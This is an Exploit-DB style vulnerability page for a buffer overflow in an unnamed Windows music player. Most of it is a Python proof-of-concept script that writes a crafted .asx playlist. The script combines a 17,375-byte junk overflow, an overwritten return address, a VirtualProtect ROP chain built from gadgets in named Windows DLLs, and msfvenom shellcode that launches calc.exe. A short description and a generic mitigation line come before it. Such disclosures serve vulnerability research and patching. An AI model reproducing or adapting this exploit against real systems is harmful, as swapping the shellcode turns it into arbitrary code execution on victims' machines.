Exploit for Music Player

vendor:

by:

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name:

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows

This exploit targets a buffer overflow vulnerability in a music player. It uses a combination of junk data, a modified return address, and a ROP chain to execute arbitrary code. The payload in this exploit is a shellcode that runs the Windows calculator (calc.exe).

Mitigation:

To mitigate this vulnerability, it is recommended to apply the latest patch or update for the affected music player. Additionally, implementing proper input validation and buffer size checks can help prevent buffer overflow vulnerabilities.

Source

Exploit-DB raw data:

import struct,sys
head ='''<ASX version="3.0">
<Entry>
<REF HREF="mms://site.com/ach/music/smpl/LACA-05928-002-tes_'''

#offset 17375
junk = "A" *17375

#0x1003df8e
#0x774e1035
EIP="\x36\x10\x4e\x77"

adjust="A" *4

def create_rop_chain():
    
    rop_gadgets = [
      0x73dd5dce,  # POP EAX # RETN [MFC42.DLL] 
      0x5d091368,  # ptr to &VirtualProtect() [IAT COMCTL32.dll]
      0x7608708e,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSVCP60.dll] 
      0x73dd40f1,  # XCHG EAX,ESI # RETN [MFC42.DLL] 
      0x7c96feb7,  # POP EBP # RETN [ntdll.dll] 
      0x7608fcec,  # & push esp # ret  [MSVCP60.dll]
      0x01c395d4,  # POP EAX # RETN [MSA2Mcodec00.dll] 
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x77d74960,  # NEG EAX # RETN [USER32.dll] 
      0x7ca485b4,  # XCHG EAX,EBX # RETN [SHELL32.dll] 
      0x01d64827,  # POP EAX # RETN [msvos.dll] 
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x77d74960,  # NEG EAX # RETN [USER32.dll] 
      0x71ab9b46,  # XCHG EAX,EDX # RETN [WS2_32.dll] 
      0x1003fd11,  # POP ECX # RETN [MSA2Mfilter03.dll] 
      0x77da1d04,  # &Writable location [USER32.dll]
      0x01d34691,  # POP EDI # RETN [MSA2Mctn01.dll] 
      0x76091182,  # RETN (ROP NOP) [MSVCP60.dll]
      0x7d7da123,  # POP EAX # RETN [WMVCore.DLL] 
      0x90909090,  # nop
      0x77195015,  # PUSHAD # RETN [OLEAUT32.dll] 
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
	
rop_chain = create_rop_chain()

#msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe -f python -b "\x00\x0a\x0d EXITFUNC=seh
#badcharacters "\x00\x0a\x0d"

buf =  ""
buf += "\xda\xd6\xba\xf5\xa4\x32\xf4\xd9\x74\x24\xf4\x5d\x31"
buf += "\xc9\xb1\x31\x83\xc5\x04\x31\x55\x14\x03\x55\xe1\x46"
buf += "\xc7\x08\xe1\x05\x28\xf1\xf1\x69\xa0\x14\xc0\xa9\xd6"
buf += "\x5d\x72\x1a\x9c\x30\x7e\xd1\xf0\xa0\xf5\x97\xdc\xc7"
buf += "\xbe\x12\x3b\xe9\x3f\x0e\x7f\x68\xc3\x4d\xac\x4a\xfa"
buf += "\x9d\xa1\x8b\x3b\xc3\x48\xd9\x94\x8f\xff\xce\x91\xda"
buf += "\xc3\x65\xe9\xcb\x43\x99\xb9\xea\x62\x0c\xb2\xb4\xa4"
buf += "\xae\x17\xcd\xec\xa8\x74\xe8\xa7\x43\x4e\x86\x39\x82"
buf += "\x9f\x67\x95\xeb\x10\x9a\xe7\x2c\x96\x45\x92\x44\xe5"
buf += "\xf8\xa5\x92\x94\x26\x23\x01\x3e\xac\x93\xed\xbf\x61"
buf += "\x45\x65\xb3\xce\x01\x21\xd7\xd1\xc6\x59\xe3\x5a\xe9"
buf += "\x8d\x62\x18\xce\x09\x2f\xfa\x6f\x0b\x95\xad\x90\x4b"
buf += "\x76\x11\x35\x07\x9a\x46\x44\x4a\xf0\x99\xda\xf0\xb6"
buf += "\x9a\xe4\xfa\xe6\xf2\xd5\x71\x69\x84\xe9\x53\xce\x74"
buf += "\x1b\x6e\xda\xe1\x82\x1b\xa7\x6f\x35\xf6\xeb\x89\xb6"
buf += "\xf3\x93\x6d\xa6\x71\x96\x2a\x60\x69\xea\x23\x05\x8d"
buf += "\x59\x43\x0c\xee\x3c\xd7\xcc\xdf\xdb\x5f\x76\x20"

shellcode="S"*10+buf

print "Length of shellcode is:",len(shellcode)
print "Length of ropchain is:",len(rop_chain)

print"Calculating Garbage:",(26000-17375-4-4-len(shellcode)-len(rop_chain))

garbage= "C" *8303

foot ='''_playlis.wma"/>
</Entry>
</ASX>'''

payload=head+junk+EIP+adjust+rop_chain+shellcode+garbage+foot

fobj = open("exploit.asx","w")
fobj.write(payload)
fobj.close()